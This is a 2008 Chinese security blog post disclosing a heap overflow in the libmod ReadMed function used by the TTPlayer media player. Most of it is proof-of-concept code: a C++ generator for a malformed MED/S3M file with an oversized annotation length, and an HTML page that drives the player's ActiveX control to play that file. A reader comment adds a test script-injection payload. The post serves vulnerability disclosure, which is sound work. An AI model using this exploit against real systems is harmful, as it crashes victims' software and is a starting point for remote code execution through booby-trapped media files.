千千静听 mod 文件格式堆溢出[POC]
2008-3-2 11:25:12 分类:漏洞信息 作者:xloong 已被围观loading
次 被网友评论2条 我要评论
千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查
文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。
现在采用libmod 软件很多,都应该存在此问题。
下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.
C++代码
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- #include <windows.h>
- #include <stdio.h>
-
- #pragma pack(1)
-
- typedef struct tagMEDMODULEHEADER
- {
- DWORD id;
- DWORD modlen;
- DWORD song;
- WORD psecnum;
- WORD pseq;
- DWORD blockarr;
- DWORD mmdflags;
- DWORD smplarr;
- DWORD reserved;
- DWORD expdata;
- DWORD reserved2;
- WORD pstate;
- WORD pblock;
- WORD pline;
- WORD pseqnum;
- WORD actplayline;
- BYTE counter;
- BYTE extra_songs;
- } MEDMODULEHEADER;
-
- typedef struct tagMMD0SAMPLE
- {
- WORD rep, replen;
- BYTE midich;
- BYTE midipreset;
- BYTE svol;
- signed char strans;
- } MMD0SAMPLE;
-
-
- typedef struct tagMMD0SONGHEADER
- {
- MMD0SAMPLE sample[63];
- WORD numblocks;
- WORD songlen;
- BYTE playseq[256];
- WORD deftempo;
- signed char playtransp;
- BYTE flags;
- BYTE flags2;
- BYTE tempo2;
- BYTE trkvol[16];
- BYTE mastervol;
- BYTE numsamples;
- } MMD0SONGHEADER;
-
- typedef struct tagMMD0EXP
- {
- DWORD nextmod;
- DWORD exp_smp;
- WORD s_ext_entries;
- WORD s_ext_entrsz;
- DWORD annotxt;
- DWORD annolen;
- DWORD iinfo;
- WORD i_ext_entries;
- WORD i_ext_entrsz;
- DWORD jumpmask;
- DWORD rgbtable;
- BYTE channelsplit[4];
- DWORD n_info;
- DWORD songname;
- DWORD songnamelen;
- DWORD dumps;
- DWORD mmdinfo;
- DWORD mmdrexx;
- DWORD mmdcmd3x;
- DWORD trackinfo_ofs;
- DWORD effectinfo_ofs;
- DWORD tag_end;
- } MMD0EXP;
-
- #pragma pack()
-
-
-
-
- #ifdef __GNUC__
- # define bswap_16(x) \
- (__extension__ \
- ({ unsigned short int __bsx = (x); \
- ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
- #else
- static __inline unsigned short int
- bswap_16 (unsigned short int __bsx)
- {
- return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
- }
- #endif
-
-
- #ifdef __GNUC__
- # define bswap_32(x) \
- (__extension__ \
- ({ unsigned int __bsx = (x); \
- ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) | \
- (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
- #else
- static __inline unsigned int
- bswap_32 (unsigned int __bsx)
- {
- return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
- (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
- }
- #endif
-
- #ifdef WORDS_BIGENDIAN
- #define bswapLE16(X) bswap_16(X)
- #define bswapLE32(X) bswap_32(X)
- #define bswapBE16(X) (X)
- #define bswapBE32(X) (X)
- #else
- #define bswapLE16(X) (X)
- #define bswapLE32(X) (X)
- #define bswapBE16(X) bswap_16(X)
- #define bswapBE32(X) bswap_32(X)
- #endif
-
- int main()
- {
- MEDMODULEHEADER mmh;
- MMD0SONGHEADER msh;
- MMD0EXP mex;
- FILE* file;
- long p;
-
- memset(&mmh, 0, sizeof (mmh));
- memset(&msh, 0, sizeof (msh));
- memset(&mex, 0, sizeof (mex));
-
- p = 0;
-
- mmh.id = 0x30444D4D;
-
- p += sizeof (MEDMODULEHEADER);
- mmh.song = bswapBE32(p);
-
- p += sizeof (MMD0SONGHEADER);
- mmh.expdata = bswapBE32(p);
-
- p += sizeof (MMD0EXP);
- mex.annolen = bswapBE32(-1);
- mex.annotxt = bswapBE32(p);
-
- file = fopen("test.s3m", "wb+");
- if ( file == NULL )
- {
- printf("create file failed!\n");
- }
- else
- {
- fwrite(&mmh, 1, sizeof (mmh), file);
- fwrite(&msh, 1, sizeof (msh), file);
- fwrite(&mex, 1, sizeof (mex), file);
-
- while ( ftell(file) < 0x1000 )
- {
- fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);
- }
-
- fclose(file);
-
- printf("successed!\n");
- }
-
- return 0;
- }
-
-
-
-
XML/HTML代码
- <html>
- <body>
- <OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">
- </OBJECT>
- <INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">
- <SCRIPT LANGUAGE="JavaScript">
- <!--
- function Test()
- {
- var controls = ttp.controls;
-
- ttp.URL = "http:\\127.0.0.1\\test.s3m";
- controls.play();
- }
- //-->
- </SCRIPT>
- </body>
- </html>
From:7jdg's blog
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
如原创文章转载,请注明: 转自:夜火博客 [ http://www.15897.com/ ]
本文链接地址: http://www.15897.com/blog/post/QianQianJingTing-mod-buffer-overflow-POC.html
Tags: exploit 缓冲区溢出 漏洞信息 千千静听
已有2位网友对本文做了一针见血的评论 【我要评论】
<script>
alert("oh")
</script>
晕死,以前有人测试过的,还测~~~~
咱不能来点高级的吗?